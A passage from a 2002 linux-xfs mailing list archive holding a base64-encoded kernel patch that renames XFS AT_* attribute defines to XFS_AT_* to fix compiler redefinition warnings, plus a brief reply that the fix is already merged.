ICYgKFhGU19BVF9NT0RFfFhGU19BVF9YRkxBR1N8WEZTX0FUX0VYVFNJWkV8 WEZTX0FUX1VJRHwKKwkJCQkJWEZTX0FUX0dJRHxYRlNfQVRfUFJPSklEKSkg ewogCQkvKgogCQkgKiBDQVBfRk9XTkVSIG92ZXJyaWRlcyB0aGUgZm9sbG93 aW5nIHJlc3RyaWN0aW9uczoKIAkJICoKQEAgLTQyNCw3ICs0MjYsNyBAQAog CQkgKiBJRHMgb2YgdGhlIGNhbGxpbmcgcHJvY2VzcyBzaGFsbCBtYXRjaCB0 aGUgZ3JvdXAgb3duZXIgb2YKIAkJICogdGhlIGZpbGUgd2hlbiBzZXR0aW5n IHRoZSBzZXQtZ3JvdXAtSUQgYml0IG9uIHRoYXQgZmlsZQogCQkgKi8KLQkJ aWYgKG1hc2sgJiBBVF9NT0RFKSB7CisJCWlmIChtYXNrICYgWEZTX0FUX01P REUpIHsKIAkJCW1vZGVfdCBtID0gMDsKIAogCQkJaWYgKCh2YXAtPnZhX21v ZGUgJiBJU1VJRCkgJiYgIWZpbGVfb3duZXIpCkBAIC00NDksNyArNDUxLDcg QEAKIAkgKiBhbmQgY2FuIGNoYW5nZSB0aGUgZ3JvdXAgaWQgb25seSB0byBh IGdyb3VwIG9mIHdoaWNoIGhlCiAJICogb3Igc2hlIGlzIGEgbWVtYmVyLgog CSAqLwotCWlmIChtYXNrICYgKEFUX1VJRHxBVF9HSUR8QVRfUFJPSklEKSkg eworCWlmIChtYXNrICYgKFhGU19BVF9VSUR8WEZTX0FUX0dJRHxYRlNfQVRf UFJPSklEKSkgewogCQkvKgogCQkgKiBUaGVzZSBJRHMgY291bGQgaGF2ZSBj aGFuZ2VkIHNpbmNlIHdlIGxhc3QgbG9va2VkIGF0IHRoZW0uCiAJCSAqIEJ1 dCwgd2UncmUgYXNzdXJlZCB0aGF0IGlmIHRoZSBvd25lcnNoaXAgZGlkIGNo YW5nZQpAQCAtNDU5LDkgKzQ2MSw5IEBACiAJCWl1aWQgPSBpcC0+aV9kLmRp X3VpZDsKIAkJaXByb2ppZCA9IGlwLT5pX2QuZGlfcHJvamlkOwogCQlpZ2lk ID0gaXAtPmlfZC5kaV9naWQ7Ci0JCWdpZCA9IChtYXNrICYgQVRfR0lEKSA/ IHZhcC0+dmFfZ2lkIDogaWdpZDsKLQkJdWlkID0gKG1hc2sgJiBBVF9VSUQp ID8gdmFwLT52YV91aWQgOiBpdWlkOwotCQlwcm9qaWQgPSAobWFzayAmIEFU X1BST0pJRCkgPyAoeGZzX3ByaWRfdCl2YXAtPnZhX3Byb2ppZCA6CisJCWdp ZCA9IChtYXNrICYgWEZTX0FUX0dJRCkgPyB2YXAtPnZhX2dpZCA6IGlnaWQ7 CisJCXVpZCA9IChtYXNrICYgWEZTX0FUX1VJRCkgPyB2YXAtPnZhX3VpZCA6 IGl1aWQ7CisJCXByb2ppZCA9IChtYXNrICYgWEZTX0FUX1BST0pJRCkgPyAo eGZzX3ByaWRfdCl2YXAtPnZhX3Byb2ppZCA6CiAJCQkgaXByb2ppZDsKIAog CQkvKgpAQCAtNTA2LDEzICs1MDgsMTMgQEAKIAkvKgogCSAqIFRydW5jYXRl IGZpbGUuICBNdXN0IGhhdmUgd3JpdGUgcGVybWlzc2lvbiBhbmQgbm90IGJl IGEgZGlyZWN0b3J5LgogCSAqLwotCWlmIChtYXNrICYgQVRfU0laRSkgewor CWlmIChtYXNrICYgWEZTX0FUX1NJWkUpIHsKIAkJLyogU2hvcnQgY2lyY3Vp dCB0aGUgdHJ1bmNhdGUgY2FzZSBmb3IgemVybyBsZW5ndGggZmlsZXMgKi8K IAkJaWYgKCh2YXAtPnZhX3NpemUgPT0gMCkgJiYKIAkJICAgKGlwLT5pX2Qu ZGlfc2l6ZSA9PSAwKSAmJiAoaXAtPmlfZC5kaV9uZXh0ZW50cyA9PSAwKSkg ewogCQkJeGZzX2l1bmxvY2soaXAsIFhGU19JTE9DS19FWENMKTsKIAkJCWxv Y2tfZmxhZ3MgJj0gflhGU19JTE9DS19FWENMOwotCQkJaWYgKG1hc2sgJiBB VF9DVElNRSkKKwkJCWlmIChtYXNrICYgWEZTX0FUX0NUSU1FKQogCQkJCXhm c19pY2hndGltZShpcCwgWEZTX0lDSEdUSU1FX01PRCB8IFhGU19JQ0hHVElN RV9DSEcpOwogCQkJY29kZSA9IDA7CiAJCQlnb3RvIGVycm9yX3JldHVybjsK QEAgLTUzNyw3ICs1MzksNyBAQAogCS8qCiAJICogQ2hhbmdlIGZpbGUgYWNj ZXNzIG9yIG1vZGlmaWVkIHRpbWVzLgogCSAqLwotCWlmIChtYXNrICYgKEFU X0FUSU1FfEFUX01USU1FKSkgeworCWlmIChtYXNrICYgKFhGU19BVF9BVElN RXxYRlNfQVRfTVRJTUUpKSB7CiAJCWlmICghZmlsZV9vd25lcikgewogCQkJ aWYgKChmbGFncyAmIEFUVFJfVVRJTUUpICYmCiAJCQkgICAgIWNhcGFibGUo Q0FQX0ZPV05FUikpIHsKQEAgLTU1MCwxMSArNTUyLDExIEBACiAJLyoKIAkg KiBDaGFuZ2UgZXh0ZW50IHNpemUgb3IgcmVhbHRpbWUgZmxhZy4KIAkgKi8K LQlpZiAobWFzayAmIChBVF9FWFRTSVpFfEFUX1hGTEFHUykpIHsKKwlpZiAo bWFzayAmIChYRlNfQVRfRVhUU0laRXxYRlNfQVRfWEZMQUdTKSkgewogCQkv KgogCQkgKiBDYW4ndCBjaGFuZ2UgZXh0ZW50IHNpemUgaWYgYW55IGV4dGVu dHMgYXJlIGFsbG9jYXRlZC4KIAkJICovCi0JCWlmIChpcC0+aV9kLmRpX25l eHRlbnRzICYmIChtYXNrICYgQVRfRVhUU0laRSkgJiYKKwkJaWYgKGlwLT5p X2QuZGlfbmV4dGVudHMgJiYgKG1hc2sgJiBYRlNfQVRfRVhUU0laRSkgJiYK IAkJICAgICgoaXAtPmlfZC5kaV9leHRzaXplIDw8IG1wLT5tX3NiLnNiX2Js b2NrbG9nKSAhPQogCQkgICAgIHZhcC0+dmFfZXh0c2l6ZSkgKSB7CiAJCQlj b2RlID0gWEZTX0VSUk9SKEVJTlZBTCk7CS8qIEVGQklHPyAqLwpAQCAtNTY5 LDExICs1NzEsMTEgQEAKIAkJICogd2l0aCBidWZmZXJlZCBkYXRhIHdyaXRl cyBpcyBpbXBsZW1lbnRlZC4KIAkJICoKIAkJICovCi0JCWlmICgobWFzayAm IEFUX0VYVFNJWkUpCQkJCSYmCisJCWlmICgobWFzayAmIFhGU19BVF9FWFRT SVpFKQkJCQkmJgogCQkgICAgKChpcC0+aV9kLmRpX2V4dHNpemUgPDwgbXAt Pm1fc2Iuc2JfYmxvY2tsb2cpICE9CiAJCSAgICAgdmFwLT52YV9leHRzaXpl KSAmJgogCQkgICAgKCEoKGlwLT5pX2QuZGlfZmxhZ3MgJiBYRlNfRElGTEFH X1JFQUxUSU1FKSB8fAotCQkgICAgICAgKChtYXNrICYgQVRfWEZMQUdTKSAm JgorCQkgICAgICAgKChtYXNrICYgWEZTX0FUX1hGTEFHUykgJiYKIAkJCSh2 YXAtPnZhX3hmbGFncyAmIFhGU19YRkxBR19SRUFMVElNRSkpKSkpIHsKIAkJ CWNvZGUgPSBYRlNfRVJST1IoRUlOVkFMKTsKIAkJCWdvdG8gZXJyb3JfcmV0 dXJuOwpAQCAtNTgyLDcgKzU4NCw3IEBACiAJCS8qCiAJCSAqIENhbid0IGNo YW5nZSByZWFsdGltZSBmbGFnIGlmIGFueSBleHRlbnRzIGFyZSBhbGxvY2F0 ZWQuCiAJCSAqLwotCQlpZiAoaXAtPmlfZC5kaV9uZXh0ZW50cyAmJiAobWFz ayAmIEFUX1hGTEFHUykgJiYKKwkJaWYgKGlwLT5pX2QuZGlfbmV4dGVudHMg JiYgKG1hc2sgJiBYRlNfQVRfWEZMQUdTKSAmJgogCQkgICAgKGlwLT5pX2Qu ZGlfZmxhZ3MgJiBYRlNfRElGTEFHX1JFQUxUSU1FKSAhPQogCQkgICAgKHZh cC0+dmFfeGZsYWdzICYgWEZTX1hGTEFHX1JFQUxUSU1FKSkgewogCQkJY29k ZSA9IFhGU19FUlJPUihFSU5WQUwpOwkvKiBFRkJJRz8gKi8KQEAgLTU5Miwx MSArNTk0LDExIEBACiAJCSAqIEV4dGVudCBzaXplIG11c3QgYmUgYSBtdWx0 aXBsZSBvZiB0aGUgYXBwcm9wcmlhdGUgYmxvY2sKIAkJICogc2l6ZSwgaWYg c2V0IGF0IGFsbC4KIAkJICovCi0JCWlmICgobWFzayAmIEFUX0VYVFNJWkUp ICYmIHZhcC0+dmFfZXh0c2l6ZSAhPSAwKSB7CisJCWlmICgobWFzayAmIFhG U19BVF9FWFRTSVpFKSAmJiB2YXAtPnZhX2V4dHNpemUgIT0gMCkgewogCQkJ eGZzX2V4dGxlbl90CXNpemU7CiAKIAkJCWlmICgoaXAtPmlfZC5kaV9mbGFn cyAmIFhGU19ESUZMQUdfUkVBTFRJTUUpIHx8Ci0JCQkgICAgKChtYXNrICYg QVRfWEZMQUdTKSAmJgorCQkJICAgICgobWFzayAmIFhGU19BVF9YRkxBR1Mp ICYmCiAJCQkgICAgKHZhcC0+dmFfeGZsYWdzICYgWEZTX1hGTEFHX1JFQUxU SU1FKSkpIHsKIAkJCQlzaXplID0gbXAtPm1fc2Iuc2JfcmV4dHNpemUgPDwK IAkJCQkgICAgICAgbXAtPm1fc2Iuc2JfYmxvY2tsb2c7CkBAIC02MTEsNyAr NjEzLDcgQEAKIAkJLyoKIAkJICogSWYgcmVhbHRpbWUgZmxhZyBpcyBzZXQg dGhlbiBtdXN0IGhhdmUgcmVhbHRpbWUgZGF0YS4KIAkJICovCi0JCWlmICgo bWFzayAmIEFUX1hGTEFHUykgJiYKKwkJaWYgKChtYXNrICYgWEZTX0FUX1hG TEFHUykgJiYKIAkJICAgICh2YXAtPnZhX3hmbGFncyAmIFhGU19YRkxBR19S RUFMVElNRSkpIHsKIAkJCWlmICgobXAtPm1fc2Iuc2JfcmJsb2NrcyA9PSAw KSB8fAogCQkJICAgIChtcC0+bV9zYi5zYl9yZXh0c2l6ZSA9PSAwKSB8fApA QCAtNjI0LDEzICs2MjYsMTMgQEAKIAogCS8qCiAJICogTm93IHdlIGNhbiBt YWtlIHRoZSBjaGFuZ2VzLgkgQmVmb3JlIHdlIGpvaW4gdGhlIGlub2RlCi0J ICogdG8gdGhlIHRyYW5zYWN0aW9uLCBpZiBBVF9TSVpFIGlzIHNldCB0aGVu IHRha2UgY2FyZSBvZgorCSAqIHRvIHRoZSB0cmFuc2FjdGlvbiwgaWYgWEZT X0FUX1NJWkUgaXMgc2V0IHRoZW4gdGFrZSBjYXJlIG9mCiAJICogdGhlIHBh cnQgb2YgdGhlIHRydW5jYXRpb24gdGhhdCBtdXN0IGJlIGRvbmUgd2l0aG91 dCB0aGUKIAkgKiBpbm9kZSBsb2NrLglUaGlzIG5lZWRzIHRvIGJlIGRvbmUg YmVmb3JlIGpvaW5pbmcgdGhlIGlub2RlCiAJICogdG8gdGhlIHRyYW5zYWN0 aW9uLCBiZWNhdXNlIHRoZSBpbm9kZSBjYW5ub3QgYmUgdW5sb2NrZWQKIAkg KiBvbmNlIGl0IGlzIGEgcGFydCBvZiB0aGUgdHJhbnNhY3Rpb24uCiAJICov Ci0JaWYgKG1hc2sgJiBBVF9TSVpFKSB7CisJaWYgKG1hc2sgJiBYRlNfQVRf U0laRSkgewogCQlpZiAodmFwLT52YV9zaXplID4gaXAtPmlfZC5kaV9zaXpl KSB7CiAJCQljb2RlID0geGZzX2lncm93X3N0YXJ0KGlwLCB2YXAtPnZhX3Np emUsIGNyZWRwKTsKIAkJCXhmc19pdW5sb2NrKGlwLCBYRlNfSUxPQ0tfRVhD TCk7CkBAIC02NzMsNyArNjc1LDcgQEAKIAkvKgogCSAqIFRydW5jYXRlIGZp bGUuICBNdXN0IGhhdmUgd3JpdGUgcGVybWlzc2lvbiBhbmQgbm90IGJlIGEg ZGlyZWN0b3J5LgogCSAqLwotCWlmIChtYXNrICYgQVRfU0laRSkgeworCWlm IChtYXNrICYgWEZTX0FUX1NJWkUpIHsKIAkJaWYgKHZhcC0+dmFfc2l6ZSA+ IGlwLT5pX2QuZGlfc2l6ZSkgewogCQkJeGZzX2lncm93X2ZpbmlzaCh0cCwg aXAsIHZhcC0+dmFfc2l6ZSwKIAkJCSAgICAhKGZsYWdzICYgQVRUUl9ETUkp KTsKQEAgLTcwMyw3ICs3MDUsNyBAQAogCS8qCiAJICogQ2hhbmdlIGZpbGUg YWNjZXNzIG1vZGVzLgogCSAqLwotCWlmIChtYXNrICYgQVRfTU9ERSkgewor CWlmIChtYXNrICYgWEZTX0FUX01PREUpIHsKIAkJaXAtPmlfZC5kaV9tb2Rl ICY9IElGTVQ7CiAJCWlwLT5pX2QuZGlfbW9kZSB8PSB2YXAtPnZhX21vZGUg JiB+SUZNVDsKIApAQCAtNzE4LDcgKzcyMCw3IEBACiAJICogYW5kIGNhbiBj aGFuZ2UgdGhlIGdyb3VwIGlkIG9ubHkgdG8gYSBncm91cCBvZiB3aGljaCBo ZQogCSAqIG9yIHNoZSBpcyBhIG1lbWJlci4KIAkgKi8KLQlpZiAobWFzayAm IChBVF9VSUR8QVRfR0lEfEFUX1BST0pJRCkpIHsKKwlpZiAobWFzayAmIChY RlNfQVRfVUlEfFhGU19BVF9HSUR8WEZTX0FUX1BST0pJRCkpIHsKIAkJLyoK IAkJICogQ0FQX0ZTRVRJRCBvdmVycmlkZXMgdGhlIGZvbGxvd2luZyByZXN0 cmljdGlvbnM6CiAJCSAqCkBAIC03MzYsNyArNzM4LDcgQEAKIAkJICovCiAJ CWlmIChpdWlkICE9IHVpZCkgewogCQkJaWYgKFhGU19JU19VUVVPVEFfT04o bXApKSB7Ci0JCQkJQVNTRVJUKG1hc2sgJiBBVF9VSUQpOworCQkJCUFTU0VS VChtYXNrICYgWEZTX0FUX1VJRCk7CiAJCQkJQVNTRVJUKHVkcXApOwogCQkJ CUFTU0VSVCh4ZnNfcW1fZHFpZCh1ZHFwKSA9PSAoeGZzX2RxaWRfdCl1aWQp OwogCQkJCW9sZGRxdW90MSA9IHhmc19xbV92b3BfY2hvd24odHAsIGlwLApA QCAtNzUwLDcgKzc1Miw3IEBACiAJCX0KIAkJaWYgKGlnaWQgIT0gZ2lkKSB7 CiAJCQlpZiAoWEZTX0lTX0dRVU9UQV9PTihtcCkpIHsKLQkJCQlBU1NFUlQo bWFzayAmIEFUX0dJRCk7CisJCQkJQVNTRVJUKG1hc2sgJiBYRlNfQVRfR0lE KTsKIAkJCQlBU1NFUlQoZ2RxcCk7CiAJCQkJQVNTRVJUKHhmc19xbV9kcWlk KGdkcXApID09IGdpZCk7CiAJCQkJb2xkZHF1b3QyID0geGZzX3FtX3ZvcF9j aG93bih0cCwgaXAsCkBAIC03NzgsMTQgKzc4MCwxNCBAQAogCS8qCiAJICog Q2hhbmdlIGZpbGUgYWNjZXNzIG9yIG1vZGlmaWVkIHRpbWVzLgogCSAqLwot CWlmIChtYXNrICYgKEFUX0FUSU1FfEFUX01USU1FKSkgewotCQlpZiAobWFz ayAmIEFUX0FUSU1FKSB7CisJaWYgKG1hc2sgJiAoWEZTX0FUX0FUSU1FfFhG U19BVF9NVElNRSkpIHsKKwkJaWYgKG1hc2sgJiBYRlNfQVRfQVRJTUUpIHsK IAkJCWlwLT5pX2QuZGlfYXRpbWUudF9zZWMgPSB2YXAtPnZhX2F0aW1lLnR2 X3NlYzsKIAkJCWlwLT5pX2QuZGlfYXRpbWUudF9uc2VjID0gdmFwLT52YV9h dGltZS50dl9uc2VjOwogCQkJaXAtPmlfdXBkYXRlX2NvcmUgPSAxOwogCQkJ dGltZWZsYWdzICY9IH5YRlNfSUNIR1RJTUVfQUNDOwogCQl9Ci0JCWlmICht YXNrICYgQVRfTVRJTUUpIHsKKwkJaWYgKG1hc2sgJiBYRlNfQVRfTVRJTUUp IHsKIAkJCWlwLT5pX2QuZGlfbXRpbWUudF9zZWMgPSB2YXAtPnZhX210aW1l LnR2X3NlYzsKIAkJCWlwLT5pX2QuZGlfbXRpbWUudF9uc2VjID0gdmFwLT52 YV9tdGltZS50dl9uc2VjOwogCQkJdGltZWZsYWdzICY9IH5YRlNfSUNIR1RJ TUVfTU9EOwpAQCAtNzk4LDE1ICs4MDAsMTUgQEAKIAkvKgogCSAqIENoYW5n ZSBYRlMtYWRkZWQgYXR0cmlidXRlcy4KIAkgKi8KLQlpZiAobWFzayAmIChB VF9FWFRTSVpFfEFUX1hGTEFHUykpIHsKLQkJaWYgKG1hc2sgJiBBVF9FWFRT SVpFKSB7CisJaWYgKG1hc2sgJiAoWEZTX0FUX0VYVFNJWkV8WEZTX0FUX1hG TEFHUykpIHsKKwkJaWYgKG1hc2sgJiBYRlNfQVRfRVhUU0laRSkgewogCQkJ LyoKIAkJCSAqIENvbnZlcnRpbmcgYnl0ZXMgdG8gZnMgYmxvY2tzLgogCQkJ ICovCiAJCQlpcC0+aV9kLmRpX2V4dHNpemUgPSB2YXAtPnZhX2V4dHNpemUg Pj4KIAkJCQltcC0+bV9zYi5zYl9ibG9ja2xvZzsKIAkJfQotCQlpZiAobWFz ayAmIEFUX1hGTEFHUykgeworCQlpZiAobWFzayAmIFhGU19BVF9YRkxBR1Mp IHsKIAkJCWlwLT5pX2QuZGlfZmxhZ3MgPSAwOwogCQkJaWYgKHZhcC0+dmFf eGZsYWdzICYgWEZTX1hGTEFHX1JFQUxUSU1FKSB7CiAJCQkJaXAtPmlfZC5k aV9mbGFncyB8PSBYRlNfRElGTEFHX1JFQUxUSU1FOwpAQCAtODIyLDExICs4 MjQsMTEgQEAKIAl9CiAKIAkvKgotCSAqIENoYW5nZSBmaWxlIGlub2RlIGNo YW5nZSB0aW1lIG9ubHkgaWYgQVRfQ1RJTUUgc2V0CisJICogQ2hhbmdlIGZp bGUgaW5vZGUgY2hhbmdlIHRpbWUgb25seSBpZiBYRlNfQVRfQ1RJTUUgc2V0 CiAJICogQU5EIHdlIGhhdmUgYmVlbiBjYWxsZWQgYnkgYSBETUkgZnVuY3Rp b24uCiAJICovCiAKLQlpZiAoIChmbGFncyAmIEFUVFJfRE1JKSAmJiAobWFz ayAmIEFUX0NUSU1FKSApIHsKKwlpZiAoIChmbGFncyAmIEFUVFJfRE1JKSAm JiAobWFzayAmIFhGU19BVF9DVElNRSkgKSB7CiAJCWlwLT5pX2QuZGlfY3Rp bWUudF9zZWMgPSB2YXAtPnZhX2N0aW1lLnR2X3NlYzsKIAkJaXAtPmlfZC5k aV9jdGltZS50X25zZWMgPSB2YXAtPnZhX2N0aW1lLnR2X25zZWM7CiAJCWlw LT5pX3VwZGF0ZV9jb3JlID0gMTsKQEAgLTIwMTUsNyArMjAxNyw3IEBACiAJ CXJldHVybiBYRlNfRVJST1IoRUlPKTsKIAogCXVkcXAgPSBnZHFwID0gTlVM TDsKLQlpZiAodmFwLT52YV9tYXNrICYgQVRfUFJPSklEKQorCWlmICh2YXAt PnZhX21hc2sgJiBYRlNfQVRfUFJPSklEKQogCQlwcmlkID0gKHhmc19wcmlk X3QpdmFwLT52YV9wcm9qaWQ7CiAJZWxzZQogCQlwcmlkID0gKHhmc19wcmlk X3QpZGZsdHByaWQ7CkBAIC0yMDc2LDcgKzIwNzgsNyBAQAogCWlmIChyZXNi bGtzID09IDAgJiYKIAkgICAgKGVycm9yID0gWEZTX0RJUl9DQU5FTlRFUiht cCwgdHAsIGRwLCBuYW1lLCBuYW1lbGVuKSkpCiAJCWdvdG8gZXJyb3JfcmV0 dXJuOwotCXJkZXYgPSAodmFwLT52YV9tYXNrICYgQVRfUkRFVikgPyB2YXAt PnZhX3JkZXYgOiAwOworCXJkZXYgPSAodmFwLT52YV9tYXNrICYgWEZTX0FU X1JERVYpID8gdmFwLT52YV9yZGV2IDogMDsKIAllcnJvciA9IHhmc19kaXJf aWFsbG9jKCZ0cCwgZHAsCiAJCQlNQUtFSU1PREUodmFwLT52YV90eXBlLHZh cC0+dmFfbW9kZSksIDEsCiAJCQlyZGV2LCBjcmVkcCwgcHJpZCwgcmVzYmxr cyA+IDAsCkBAIC0yOTg5LDcgKzI5OTEsNyBAQAogCiAJbXAgPSBkcC0+aV9t b3VudDsKIAl1ZHFwID0gZ2RxcCA9IE5VTEw7Ci0JaWYgKHZhcC0+dmFfbWFz ayAmIEFUX1BST0pJRCkKKwlpZiAodmFwLT52YV9tYXNrICYgWEZTX0FUX1BS T0pJRCkKIAkJcHJpZCA9ICh4ZnNfcHJpZF90KXZhcC0+dmFfcHJvamlkOwog CWVsc2UKIAkJcHJpZCA9ICh4ZnNfcHJpZF90KWRmbHRwcmlkOwpAQCAtMzA0 OSw3ICszMDUxLDcgQEAKIAkvKgogCSAqIGNyZWF0ZSB0aGUgZGlyZWN0b3J5 IGlub2RlLgogCSAqLwotCXJkZXYgPSAodmFwLT52YV9tYXNrICYgQVRfUkRF VikgPyB2YXAtPnZhX3JkZXYgOiAwOworCXJkZXYgPSAodmFwLT52YV9tYXNr ICYgWEZTX0FUX1JERVYpID8gdmFwLT52YV9yZGV2IDogMDsKIAllcnJvciA9 IHhmc19kaXJfaWFsbG9jKCZ0cCwgZHAsIAogCQkJTUFLRUlNT0RFKHZhcC0+ dmFfdHlwZSx2YXAtPnZhX21vZGUpLCAyLAogCQkJcmRldiwgY3JlZHAsIHBy aWQsIHJlc2Jsa3MgPiAwLApAQCAtMzU5NCw3ICszNTk2LDcgQEAKIAkvKiBS ZXR1cm4gdGhyb3VnaCBzdGRfcmV0dXJuIGFmdGVyIHRoaXMgcG9pbnQuICov CiAKIAl1ZHFwID0gZ2RxcCA9IE5VTEw7Ci0JaWYgKHZhcC0+dmFfbWFzayAm IEFUX1BST0pJRCkKKwlpZiAodmFwLT52YV9tYXNrICYgWEZTX0FUX1BST0pJ RCkKIAkJcHJpZCA9ICh4ZnNfcHJpZF90KXZhcC0+dmFfcHJvamlkOwogCWVs c2UKIAkJcHJpZCA9ICh4ZnNfcHJpZF90KWRmbHRwcmlkOwpAQCAtMzY2Miw3 ICszNjY0LDcgQEAKIAkvKgogCSAqIEFsbG9jYXRlIGFuIGlub2RlIGZvciB0 aGUgc3ltbGluay4KIAkgKi8KLQlyZGV2ID0gKHZhcC0+dmFfbWFzayAmIEFU X1JERVYpID8gdmFwLT52YV9yZGV2IDogMDsKKwlyZGV2ID0gKHZhcC0+dmFf bWFzayAmIFhGU19BVF9SREVWKSA/IHZhcC0+dmFfcmRldiA6IDA7CiAKIAll cnJvciA9IHhmc19kaXJfaWFsbG9jKCZ0cCwgZHAsIElGTE5LIHwgKHZhcC0+ dmFfbW9kZSZ+SUZNVCksCiAJCQkgICAgICAgMSwgcmRldiwgY3JlZHAsIHBy aWQsIHJlc2Jsa3MgPiAwLCAmaXAsIE5VTEwpOwpAQCAtNDgyNCw3ICs0ODI2 LDcgQEAKIAkJCQlicmVhazsKIAkJfQogCi0JCXZhLnZhX21hc2sgPSBBVF9T SVpFOworCQl2YS52YV9tYXNrID0gWEZTX0FUX1NJWkU7CiAJCXZhLnZhX3Np emUgPSBzdGFydG9mZnNldDsKIAogCQllcnJvciA9IHhmc19zZXRhdHRyKGJk cCwgJnZhLCBhdHRyX2ZsYWdzLCBjcmVkcCk7Cgo= --Multipart_Thu__28_Nov_2002_10:25:58_-0200_0858de00-- From owner-linux-xfs@oss.sgi.com Thu Nov 28 04:49:30 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 04:49:34 -0800 (PST) Received: from ivoti.terra.com.br (ivoti.terra.com.br [200.176.3.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gASCnIuR009834; Thu, 28 Nov 2002 04:49:19 -0800 Received: from engenho.terra.com.br (engenho.terra.com.br [200.176.3.42]) by ivoti.terra.com.br (Postfix) with ESMTP id 7107A4082D3; Thu, 28 Nov 2002 10:24:08 -0200 (BRST) Received: from walker.absoluta.intra (cm-net-poa-C8B028F1.brdterra.com.br [200.176.40.241]) (authenticated user abslucio) by engenho.terra.com.br (Postfix) with ESMTP id 65D82B415F; Thu, 28 Nov 2002 10:24:06 -0200 (BRST) Date: Thu, 28 Nov 2002 10:24:03 -0200 From: Lucio Maciel To: owner-xfs@oss.sgi.com Cc: LKML , lord@oss.sgi.com, linux-xfs@oss.sgi.com, Linus Torvalds Subject: [PATCH RESEND 2.5]FIX XFS redefines Message-Id: <20021128102403.0aa17064.abslucio@terra.com. br> Organization: absoluta X-Mailer: Sylpheed version 0.8.5 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 1881 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: abslucio@terra.com.br Precedence: bulk X-list: linux-xfs Hello.... This patch fixes this redefines in linux-2.5.49 and 2.5.50 ... In file included from fs/xfs/linux/xfs_linux.h:56, from fs/xfs/xfs.h:54, from fs/xfs/xfs_acl.c:33: fs/xfs/linux/xfs_vnode.h:546: warning: `AT_UID' redefined include/linux/elf.h:172: warning: this is the location of the previous definition fs/xfs/linux/xfs_vnode.h:547: warning: `AT_GID' redefined include/linux/elf.h:174: warning: this is the location of the previous definition .... This happens, because linux/module.h is including linux/elf.h that define AT_UID and AT_GID (since 2.5.49) ... i just renamed the XFS Attributes defines from AT_XXX to XFS_AT_XXX best regards. -- ::: Lucio F. Maciel ::: abslucio@terra.com.br ::: icq 93065464 ::: Absoluta.net From owner-linux-xfs@oss.sgi.com Thu Nov 28 05:04:03 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 05:04:06 -0800 (PST) Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gASD3muR013865; Thu, 28 Nov 2002 05:03:59 -0800 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 18HOMy-0006rJ-00; Thu, 28 Nov 2002 13:06:16 +0000 Date: Thu, 28 Nov 2002 13:06:16 +0000 From: Christoph Hellwig To: Lucio Maciel Cc: owner-xfs@oss.sgi.com, LKML , lord@oss.sgi.com, linux-xfs@oss.sgi.com, Linus Torvalds Subject: Re: [PATCH RESEND 2.5]FIX XFS redefines Message-ID: <20021128130616.A25918@infradead.org> Mail-Followup-To: Christoph Hellwig , Lucio Maciel , owner-xfs@oss.sgi.com, LKML , lord@oss.sgi.com, linux-xfs@oss.sgi.com, Linus Torvalds References: <20021128102558.1b33f62a.abslucio@terra.com. br> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20021128102558.1b33f62a.abslucio@terra.com. br>; from abslucio@terra.com.br on Thu, Nov 28, 2002 at 10:25:58AM -0200 X-archive-position: 1882 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: linux-xfs On Thu, Nov 28, 2002 at 10:25:58AM -0200, Lucio Maciel wrote: > > I Hate when this happens... now with the pacth attached... > > Hello.... > > This patch fixes this redefines in linux-2.5.49 and 2.5.50 ... > That patch is already in the XFS CVS repository and in the update I sent to Linus a few days ago. From owner-linux-xfs@oss.sgi.com Thu Nov 28 08:38:53 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 28 Nov 2002 08:38:56 -0800 (PST) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gASGcquR028010 for ; Thu, 28 Nov 2002 08:38:52 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gASGkBkq001853 for ; Thu, 28 Nov 2002 10:46:11 -0600 Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com [128.162.236.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA92916 for ; Thu, 28 Nov 2002 10:21:57 -0600 (CST) Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e236.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA97002 for ; Thu, 28 Nov 2002 10:41:29 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gASNthh10701 for linux-xfs@oss.sgi.com; Thu, 28 Nov 2002 18:55:43 -0500 Resent-Message-Id: <200211282355.gASNthh10701@taclab54.munich.sgi.com> Received: from taclab54.munich.sgi.com (taclab54.munich.sgi.com [144.253.195.54]) by daisy-e236.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA97205 for ; Thu, 28 Nov 2002 10:36:42 -0600 (CST) Received: (from hch@localhost) by taclab54.munich.sgi.com (8.11.6/8.11.6) id gASNotr10690 for hch@sgi.com; Thu, 28 Nov 2002 18:50:55 -0500 Date: Thu, 28 Nov 2002 18:50:55 -0500 From: Christoph Hellwig Message-Id: <200211282350.gASNotr10690@taclab54.munich.sgi.com> Subject: TAKE - get rid of some more dev_t abuse Resent-From: hch@sgi.com Resent-Date: Thu, 28 Nov 2002 18:55:43 -0500 Resent-To: linux-xfs@oss.sgi.com X-archive-position: 1883 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com 